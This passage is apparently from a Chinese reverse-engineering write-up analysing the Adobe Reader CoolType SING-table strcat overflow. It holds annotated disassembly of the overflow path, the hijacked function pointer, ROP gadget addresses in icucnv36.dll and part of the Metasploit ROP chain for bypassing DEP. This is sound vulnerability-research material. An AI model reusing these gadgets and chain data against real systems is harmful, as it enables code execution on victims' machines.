unsigned int v32; // [esp+15Ch] [ebp+3Ch],[0x0012E718+0x3C]=[0x0012E754]
......
//&v10为对象首地址,此函数应为对象(0x0012E6B0)的有参构造函数
sub_8083452(&v10, a2);//执行完后,[ebp-0x48]=[0x0012E6D0]=0x080833EF,这是一个函数的地址
v25 = 1;
sub_8084D13(
(void (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD))(v10 != 0 ? (unsigned int)&v11 : 0),
&v20,
&v18,
(unsigned int)&v17,
0,
0,
1);
......
sub_801605B(&v31, &v10); //&v31为对象首地址
v32 = v10 != 0 ? (unsigned int)&v11 : 0; //[0x0012E754]=0x0012E6D0,v32[0x0012E754]为对象(0x0012E718)中的一个成员变量
......
}

/*
对象(0x0012E6B0)的内存布局(初始):
0x0012E6B0 *v2 = *a2 -| {sub_8014E64}
0x0012E6B4 v2[1] = a2[1] -|
0x0012E6B8 v2[2] = 0; ------------------------|
0x0012E6BC *a2 = v9 -| |
0x0012E6C0 a2[1] = a3 | |
0x0012E6C4 a2[2] = v8 | {sub_8080FB5} | {sub_8083452}
0x0012E6C8 a2[3] = v7 -| |
0x0012E6CC v2[7] = v2[5] ---------------------|
0x0012E6D0 v2[8] = sub_80833EF ---------------| (函数指针)
0x0012E6D4 v2[9] = v2 ------------------------|
*/

  由这可知,v32变量在栈上的位置为ebp+0x3C,即v32为栈上0x0012E718+0x3C=0x0012E754处的变量。最下面的那一行代码是它的赋值语句。由于我对SEH结构是怎么被放在上,并形成SEH链表的细节不太熟悉,所以,顺便分析了一下函数向栈上构建SEH结构的过程。下面是一些详细的调试信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
***********************************************************************************

int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)

***********************************************************************************
.text:080DD0B3 push ebp ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4 sub esp, 0CCh ; esp=0x0012E71C
.text:080DD0BA lea ebp, [esp-4] ; ebp=0x0012E718,本函数ebp
.text:080DD0BE mov eax, ___security_cookie ; eax=0x78FC1194
.text:080DD0C3 xor eax, ebp ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5 mov [ebp+0D0h+var_4], eax ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB push 104h ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0 mov eax, offset loc_8182A36 ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5 call __EH_prolog3 ; [0x0012E714]=ret=0x080DD0DA
| | |
↓ ↓ ↓
.text:0804819E __EH_prolog3 proc near(向栈上写入SEH结构)

0804819E push eax ; [0x0012E710]=eax=0x08182A36(__security_check_cookie函数地址)SE处理程序
0804819F push dword ptr fs:[0] ; [0x0012E70C]=0x0012E82C,指向下一个SEH记录的指针
080481A6 lea eax,dword ptr ss:[esp+0xC] ; eax=esp+0xc=0x0012E70C+0xC=0x0012E718
080481AA sub esp,dword ptr ss:[esp+0xC] ; esp=esp-[0x0012E718]=0x0012E70C-0x104=0x0012E608,分配栈空间
栈: 0012E608 7C812FD3 返回到 kernel32.7C812FD3 来自 ntdll.RtlRaiseException
080481AE push ebx ; [0x0012E604]=ebx=0x0
080481AF push esi ; [0x0012E600]=esi=0x0823AE9C(.data段)
080481B0 push edi ; [0x0012E5FC]=edi=0x0012E858
080481B1 mov dword ptr ds:[eax],ebp ; [eax]=[0x0012E718]=ebp=0x0012E718,覆盖传进来的参数0x104
080481B3 mov ebp,eax ;
080481B5 mov eax,dword ptr ds:[0x8230FB8] ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481BA xor eax,ebp ; eax=eax^ebp=0x78FC1194^0x0012E718=0x78EEF68C,再计算一次security cookie
080481BC push eax ; [0x0012E5F8]=eax=0x78EEF68C,异或之后的sec cookie
080481BD push dword ptr ss:[ebp-0x4] ; [0x0012E5F4]=[0x0012E718-0x4]=[0x0012E714]=0x080DD0DA,返回地址
080481C0 mov dword ptr ss:[ebp-0x4],-0x1 ; [0x0012E714]=0xFFFFFFFF,本来的返回地址被修改
080481C7 lea eax,dword ptr ss:[ebp-0xC] ; eax=ebp-0xc=0x0012E718-0xc=0x0012E70C(本SEH结构地址)
080481CA mov dword ptr fs:[0],eax ; fs:[0] = 0x0012E70C,保存当前SEH结构指针
080481D0 retn ; ret
| | |
↓ ↓ ↓
......
.text:080DD113 loc_80DD113: ; CODE XREF: sub_80DD0B3+5B↑j
.text:080DD113 push eax ; eax=a2=0x0012E818,[0x0012E818]=0x0494F3E8
.text:080DD114 lea ecx, [ebp+0D0h+var_138] ; eac=ebp-0x68=0x0012E718-0x68=0x0012E6B0,对象(0x0012E6B0)首地址
.text:080DD117 mov [ebp+0D0h+var_F0], 40000000h ; [ebp-0x20]=[0x0012E718-0x20]=[0x0012E6F8]=0x40000000
.text:080DD11E call sub_8083452
| | |
↓ ↓ ↓
********************************************************************

_DWORD *__thiscall sub_8083452(_DWORD *this, int a2)

********************************************************************
08083452 6A 0C push 0xC
08083454 B8 0A581708 mov eax,CoolType.0817580A
08083459 E8 404DFCFF call CoolType.0804819E
0808345E 8BF1 mov esi,ecx <-----; esi=ecx=0x0012E6B0,对象(0x0012E6B0)首地址
08083460 8975 F0 mov dword ptr ss:[ebp-0x10],esi
.......
08083489 8B46 14 mov eax,dword ptr ds:[esi+0x14] ; eax=[esi+0x14]=[0x0012E6C4]=0x049513E0,字体对象
0808348C 8946 1C mov dword ptr ds:[esi+0x1C],eax ; [esi+0x1C]=[0x0012E6CC]=eax=0x049513E0
0808348F C746 20 EF330808 mov dword ptr ds:[esi+0x20],CoolType.080833EF <-----; [esi+0x20]=[0x0012E6B0+0x20]=[0x0012E6D0]=0x080833EF
08083496 8976 24 mov dword ptr ds:[esi+0x24],esi
08083499 8BC6 mov eax,esi
0808349B E8 D64DFCFF call CoolType.08048276
| | |
↓ ↓ ↓
***********************************************************************************

int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)

***********************************************************************************
080DD168 call CoolType.080151B5 ; 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
.......
080DD1A3 call CoolType.0801605B
080DD1A8 mov esi,dword ptr ss:[ebp-0x68] ; esi=[ebp-0x68]=[0x0012E6B0]=0x02137E88
080DD1AB neg esi ; 求补: esi=0xFDEC8178(按位取反再+1),求补操作和求一个数的补码概念是不一样的
080DD1AD sbb esi,esi ; 带借位减法:esi=FFFFFFFF
080DD1AF lea eax,dword ptr ss:[ebp-0x48] ; eax=ebp-0x68=0x0012E718-0x48=0x0012E6D0 ,函数指针地址
080DD1B2 and esi,eax ; esi=esi and eax=0x0012E6D0
080DD1B4 cmp dword ptr ss:[ebp-0x28],0x1 ; [ebp-0x28]=[0x0012E718-0x28]=[0x0012E6F0]=0x1
080DD1B8 mov dword ptr ss:[ebp+0x3C],esi ; [ebp+0x3C]=[0x0012E754]=esi=0x0012E6D0 <-------这里得到赋值,在这之前[0x0012E6D0]已在sub_8083452()[对象(0x0012E6B0)的构造函数]中得到赋值,[0x0012E6D0]=0x080833EF,0x0012E6D0处的成员变量为函数指针
080DD1BB jnz CoolType.080DD2D1 ; 不跳转
080DD1C1 lea eax,dword ptr ss:[ebp-0x10]
080DD1C4 push eax
080DD1C5 push ebx
080DD1C6 push 0x2
080DD1C8 push esi
080DD1C9 mov dword ptr ss:[ebp-0x10],ebx
080DD1CC call dword ptr ds:[esi] ; CoolType.080833EF
080DD1CE lea eax,dword ptr ss:[ebp-0x10]
080DD1D1 push eax
080DD1D2 lea eax,dword ptr ss:[ebp-0x3C]
080DD1D5 push eax
080DD1D6 push ebx
080DD1D7 push esi
080DD1D8 mov dword ptr ss:[ebp-0x10],edi
080DD1DB call dword ptr ds:[esi] ; CoolType.080833EF
080DD1DD add esp,0x20
080DD1E0 cmp dword ptr ss:[ebp-0x10],edi
080DD1E3 je short CoolType.080DD1F0
080DD1E5 push CoolType.081BA878
080DD1EA call CoolType.0809D83E
080DD1EF pop ecx
080DD1F0 push dword ptr ss:[ebp-0x10]
080DD1F3 lea eax,dword ptr ss:[ebp-0x3C]
080DD1F6 push CoolType.0819D5F8 ; ASCII "ttcf"
080DD1FB push eax
080DD1FC call <jmp.&MSVCR80.memcmp>
080DD201 add esp,0xC
080DD204 test eax,eax
080DD206 jnz CoolType.080DD2D1 ; 跳转
| | |
↓ ↓ ↓
.text:080DD2D1 loc_80DD2D1:
.text:080DD2D1
.text:080DD2D1 lea ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7 call sub_80172FB
.text:080DD2DC mov [ebp+0D0h+var_E8], ebx ; [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF lea eax, [ebp+0D0h+var_E8] ; eax=ebp-0x18=0x0012E700
.text:080DD2E2 push eax ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3 push ebx ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4 lea eax, [ebp+0D0h+var_1E0] ; eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA push eax ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针
.text:080DD2EB lea eax, [ebp+0D0h+value1_823A850] ; eax=ebp=0x0012E718
.text:080DD2EE push eax ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF mov byte ptr [ebp+0D0h+var_D4], 4 ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3 call sub_803DCF9 <-------
| | |
↓ ↓ ↓
******************************************************************************

char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)

******************************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13 mov eax, offset loc_8184A54 ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18 call __EH_prolog3_catch ; [0x0012E4D4]=0x0803DD1D,ret
| | |
↓ ↓ ↓
.text:080481D1 __EH_prolog3_catch proc near(向栈上写入SEH结构)

080481D1 push eax ; [0x0012E4D0]=0x8184A54(__security_check_cookie)
080481D2 push dword ptr fs:[0] ; [0x0012E4CC]=0x0012E70C,指向下一个SEH记录的指针
080481D9 lea eax,dword ptr ss:[esp+0xC] ; eax=esp+0xc=0x0012E4CC+0xc=0x0012E4D8
080481DD sub esp,dword ptr ss:[esp+0xC] ; esp=esp-[0x0012E4D8]=0x0012E4CC-0x4C=0x0012E480,再次分配局部变量栈空间
080481E1 push ebx ; [0x0012E47C]=ebx=0x0
080481E2 push esi ; [0x0012E478]=esi=0x0012E6D0
080481E3 push edi ; [0x0012E474]=edi=0x4
080481E4 mov dword ptr ds:[eax],ebp ; [eax]=[0x0012E4D8]=ebp=0x0012E4D8,覆盖传进来的参数0x4C
080481E6 mov ebp,eax ;
080481E8 mov eax,dword ptr ds:[0x8230FB8] ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481ED xor eax,ebp ; eax=eax^ebp=0x78FC1194^0x0012E4D8=0x78EEF54C
080481EF push eax ; [0x0012E470]=0x78EEF54C
080481F0 mov dword ptr ss:[ebp-0x10],esp ; [ebp-0x10]=[0x0012E4D8-0x10]=[0x0012E4C8]=esp=0x0012E470
080481F3 push dword ptr ss:[ebp-0x4] ; [0x0012E46C]=[ebp-0x4]=[0x0012E4D4]=0x0803DD1D,返回地址
080481F6 mov dword ptr ss:[ebp-0x4],-0x1 ; [0x0012E4D4]=0xFFFFFFFF,本来的返回地址被修改
080481FD lea eax,dword ptr ss:[ebp-0xC] ; eax=ebp-0xc=0x0012E4D8-0xc=0x0012E4CC(本SEH结构地址)
08048200 mov dword ptr fs:[0],eax ; fs:[0] = 0x0012E4CC,保存当前SEH结构指针
08048206 retn ; ret
| | |
↓ ↓ ↓
.text:0803DD1D mov eax, [ebp+108h+arg_C] ; a4: eax=[ebp+0x11c]=[0x0012E5F4]=0x0012E700
.text:0803DD23 mov edi, [ebp+108h+arg_0] ; a1: edi=[ebp+0x110]=[0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; a2: ebx=[ebp+0x114]=[0x0012E5EC]=0x0012E608,对象(0x0012E608)的指针
.text:0803DD2F mov [ebp+108h+var_130], edi ; [ebp-0x28]=[0x0012E4B0]=edi=0x0012E718
.text:0803DD32 mov [ebp+108h+var_138], eax ; [ebp-0x30]=[0x0012E4A8]=eax=0x0012E700
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi ; esi=0x0
.text:0803DD3C cmp dword ptr [edi+8], 3 ; [edi+8]=[0x0012E720]=0x1
.text:0803DD40 mov [ebp+108h+var_10C], esi ; [ebp-0x4]=[0x0012E4D8-0x4]=[0x0012E4D4]=0
.text:0803DD43 jz loc_803DF00 ; 不跳转
.text:0803DD49 mov [ebp+108h+var_124], esi ; [ebp-0x1c]=[0x0012E4D8-0x1c]=[0x0012E4BC]=0
.text:0803DD4C mov [ebp+108h+var_120], esi ; [ebp-0x18]=[0x0012E4D8-0x18]=[0x0012E4C0]=0
.text:0803DD4F cmp dword ptr [edi+0Ch], 1 ; [edi+0xc]=[0x0012E718+0xc]=[0x0012E724]=0x1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 ; [ebp-0x4]=[0x0012E4D4]=0x0->0x1
.text:0803DD57 jnz loc_803DEA9 ; 不跳转
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; 类对象指针(0x0012E718),第一个变量为dword_823A850加1之前的值。
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; ecx为字体对象,thiscall,ecx传参
.text:0803DD7D call sub_8021B06 ; 解析字体对象,处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD85 ;} // starts at 803DD53
.text:0803DD87 ;try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出

  通过上面的分析,我们可以知道,样本构造的SING表“uniqueName”字段将栈上对象(0x0012E6B0)的一个函数指针类型的成员变量(0x0012E6D0)覆盖为了ROPgadget(0x4A80CB38)的地址。而触发点为StreamHandler类虚函数sub_808B116()中地址0x0808B308处的调用指令call dword ptr [eax],这条调用指令将对象(0x0012E6B0)中的函数指针(0x0012E6D0)的值作为调用地址,从而获得程序执行流的劫持。这个函数指针的地址又存储在对象(0x0012E718)中的一个指针类型成员变量(0x0012E754)中。虚函数sub_808B116()通过传入的参数对象(0x0012E718)的指针,找到对象(0x0012E6B0)中的函数指针(0x0012E6D0),进行函数调用,从而获得程序执行流的劫持。
  所以,metasploit中的漏洞利用脚本,并不是通过覆盖虚函数的指针虚表指针,以及SEH结构来控制程序执行流的。

2.5、样本中SING表数据“0x4A8A08C6”的作用

  0x4A8A08C6是一个地址值,0x4A8A08C6+0x1C=0x4A8A08E2应具有可读可写权限。因为,在通过strcat()SING表数据复制到上之后,以及获得程序执行流的劫持之前,会对此地址进行读写,所以构造的样本中此处的地址+0x1C必须具有可读可写权限,否则会触发异常,通过SEH链进入异常处理,就无法获得程序执行流的劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
******************************************************

sub_814B423()

******************************************************
.text:0814B470 mov byte ptr [ebp+var_4], 2
.text:0814B474 push [ebp+arg_10]
.text:0814B477 push [ebp+arg_8]
.text:0814B47A push eax
.text:0814B47B lea eax, [ebp+arg_0]
.text:0814B47E push eax
.text:0814B47F call sub_80DD0B3 <-------
.text:0814B484 add esp, 18h
.text:0814B487 push [ebp+var_20]
| | |
↓ ↓ ↓
*************************************************************************************

int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)

*************************************************************************************
.text:080DD0B3 push ebp ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4 sub esp, 0CCh ; esp=0x0012E71C
.text:080DD0BA lea ebp, [esp-4] ; ebp=0x0012E718,本函数ebp
.text:080DD0BE mov eax, ___security_cookie ; eax=0x78FC1194
.text:080DD0C3 xor eax, ebp ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5 mov [ebp+0D0h+var_4], eax ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB push 104h ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0 mov eax, offset loc_8182A36 ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5 call __EH_prolog3 ; [0x0012E714]=ret=0x080DD0DA
........
.text:080DD2D1 loc_80DD2D1:
.text:080DD2D1
.text:080DD2D1 lea ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7 call sub_80172FB
.text:080DD2DC mov [ebp+0D0h+var_E8], ebx ; [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF lea eax, [ebp+0D0h+var_E8] ; eax=ebp-0x18=0x0012E700
.text:080DD2E2 push eax ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3 push ebx ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4 lea eax, [ebp+0D0h+var_1E0] ; eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA push eax ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针 <--------
.text:080DD2EB lea eax, [ebp+0D0h+value1_823A850] ; eax=ebp=0x0012E718
.text:080DD2EE push eax ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF mov byte ptr [ebp+0D0h+var_D4], 4 ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3 call sub_803DCF9 <-------
| | |
↓ ↓ ↓
*******************************************************************************

char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)

*******************************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13 mov eax, offset loc_8184A54 ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18 call __EH_prolog3_catch ; [0x0012E4D4]=0x0803DD1D,ret
......
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; ebx = 0x0012E608,对象(0x0012E608)的指针 <--------
......
.text:0803DD9F loc_803DD9F:
.text:0803DD9F add eax, 10h ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出
.text:0803DDB0 pop ecx
.text:0803DDB1 pop ecx
.text:0803DDB2 lea eax, [ebp+108h+uniqueName_buf] ; eax=ebp=0x0012E4D8
.text:0803DDB5 push eax ; arg1: [0x0012E46C]=0x0012E4D8
.text:0803DDB6 mov ecx, ebx ; this: ecx=ebx=0x0012E608,对象(0x0012E608)的指针 <--------
.text:0803DDB8 call sub_8001243
| | |
↓ ↓ ↓
*******************************************************************

int *__thiscall sub_8001243(int *this, int uniqueName_buf)

*******************************************************************
.text:08001243 push esi ; esi=0x0
.text:08001244 push edi ; edi=0x0012E718,对象(0x0012E718)的指针
.text:08001245 push [esp+8+uniqueName_buf] ; [esp+0xc]=0x0012E4D8
.text:08001249 mov esi, ecx ; esi = ecx = 0x0012E608,对象(0x0012E608)的指针 <--------
.text:0800124B call dword_8231220 ; BIB.07005C59
.text:08001251 mov edi, eax ; edi=eax=0x0012E4D8
.text:08001253 mov eax, [esi] ; eax = [esi]=[0x0012E608]=0x4A8A08C6,icucnv36 <--------
.text:08001255 test eax, eax ;
.text:08001257 pop ecx ; ecx=0x0012E4D8
.text:08001258 jz short loc_8001262 ; 不跳转
.text:0800125A push eax ; arg1: [0x0012E45C]=eax = 0x4A8A08C6, <----------
.text:0800125B call dword_8231224 ; BIB.07005CAF
| | |
↓ ↓ ↓
07005CAF mov ecx,dword ptr ss:[esp+0x4] ; ecx=[esp+4]=0x4A8A08C6 <- arg1
07005CB3 jmp BIB.070013F2
| | |
↓ ↓ ↓
**********************************************

BIB.070013F2()

**********************************************
070013F2 push ebp ; ebp=0x0012E4D8
070013F3 mov ebp,esp ; ebp=esp=0x0012E454
070013F5 push ecx ; ecx=0x4A8A08C6,icucnv36
070013F6 push ecx ; ecx=0x4A8A08C6,icucnv36
070013F7 lea eax,dword ptr ds:[ecx+0x1C] ; eax=0x4A8A08C6+0x1C=0x4A8A08E2 <--------
070013FA mov dword ptr ss:[ebp-0x8],eax ;
070013FD mov eax,dword ptr ss:[ebp-0x8] ;
07001400 lock dec dword ptr ds:[eax] ; [eax] = [0x4A8A08E2] = 0x00000000,减1变为0xFFFFFFFF <--------
07001403 sete byte ptr ss:[ebp-0x1] ; 取标志寄存器中ZF的值, 赋值给[ebp-0x1] ebp=0012E454;[0012E450]=0x4A8A08C6->0x008A08C6
07001407 cmp byte ptr ss:[ebp-0x1],0x0 ; ZF=1
0700140B je short BIB.07001412 ; 跳转实现
0700140D call BIB.070013B5 ; 不执行
07001412 leave
07001413 retn

  通过上面的调试信息,BIB.070013F2()函数中的地址0x07001400处的指令lock dec dword ptr ds:[eax]0x4A8A08C6+0x1C=0x4A8A08E2地址处的值进行了读写,所以0x4A8A08C6+0x1C处的值必须要具有可读可写权限。在吾爱OllyDbg的内存窗口,只能看到此地址具有读权限,而通过Immunity Debugger可以看到此地址处具有读写权限

2.6、样本中SING表数据“0x6C”的作用

TBD,样本中注释说是,如果没有这段数据,sub_801ba57()函数将会返回0。没有调试出来。
最近找到一个链接,提到了这个数据的作用,更新下,就先不分析了,没啥时间。
2010.09.09 - VUPEN - Criminals Are Getting Smarter: Analysis of the Adobe Acrobat/Reader 0-Day Exploit

0x40 漏洞利用

0x41 ROP绕过DEP

1、阶段1:跳转到堆喷代码

  DEP(Data Execution Prevention),即数据执行保护。开启后,堆栈是不具有执行权限的,所以不能直接在缓冲区中填入Payload。而ROP(Return-Oriented Programming),返回导向编程,则是通过程序中已存在的多段小的代码片段(ROPgadget)来控制程序执行流的。缓冲区中填入的只是代码片段的首地址。样本中使用了两段ROPgadget代码片段用于绕过DEP
ROPgadget1:

1
2
3
4
5
6
7
icucnv36.4A80CB38    81C5 94070000   add ebp,0x794 ; ebp=0x0012DD48+0x794=0x0012E4DC
icucnv36.4A80CB3E C9 leave ; 如下
icucnv36.4A80CB3F C3 retn

leave:
mov esp,ebp ; esp=ebp=0x0012E4DC
pop ebp ; esp=esp+0x4=0x0012E4E0 -> ROPgadget2

  执行到0x0012E6D0处的ROPgadget1时,esp(0x0012DD24)距离我们构造的“uniqueName”字段在栈上的缓冲区的首地址(0x0012E4D8)有较远距离,所以我们需要寻找一段可以调整esp至“uniqueName”字段缓冲区内的ROPgadget。上面这段ROPgadget先是通过修改ebp,让其落在“uniqueName”字段缓冲区内,然后通过leave指令,利用ebp来修改esp,使其指向第二段ROPgadget,再执行ret指令,跳转到ROPgadget2执行。

ROPgadget2:

1
2
3
4
5
icucnv36.4A82A712    FF50 5C         call dword ptr ds:[eax+0x5C]
icucnv36.4A82A715 C3 retn

icucnv36.4A82A714 5C pop esp ; esp=0x0C0C0C0C
icucnv36.4A82A715 C3 retn

  这段ROPgadget直接将esp指向堆喷的ROP Chain代码处,执行ROP Chain。原本这里的代码是CALL指令,机器码为FF50 5C,这里只截取了5C,所以指令变成了pop esp,成功控制EIP去执行Heap Spray处的ROP Chain

接下来我们通过一张图来了解这个ROP过程

漏洞利用ROP链

  前面说过,漏洞作者选取的这两个ROPgadget地址0x4A82A7140x4A80CB38都位于icucnv36.dll的地址空间,而在Adobe Reader的各个版本上,这个dll的这两处地址是始终不变的,从而保证了exploit对于各版本的兼容性稳定性

2、阶段2:将真正的shellcode复制到可读可写可执行内存段

  接下来我们来看看堆喷的代码是怎样绕过DEP的。我查看了msf用于生成样本文件的模块,其中如下的数据就是用于绕过DEP而构造的ROP Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# 使用icucnv36.dll中的代码片段,构建ret2lib的ROP Chain.以此绕过DEP,执行shellcode.
stack_data = [
0x41414141, # unused,用于补齐堆块内容长度占用的4byte
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx ; ecx=0x4a8a0000,用于保存eax的地址

0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as ; [ecx]=[0x4a8a0000]=eax,保存eax

0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA) ; CreateFileA()在输入表中表项的地址

# -- call CreateFileA
# 创建或打开一个文件或I/O设备。
0x4a80b692, # jmp [eax] ; 调用CreateFileA()
# 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileA()完成的。
0x4a801064, # ret ; CreateFileA()的返回地址,
0x4a8522c8, # first arg - lpFileName , pointer to "iso88591"
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx ; ecx=0x4a801064,ret指令地址

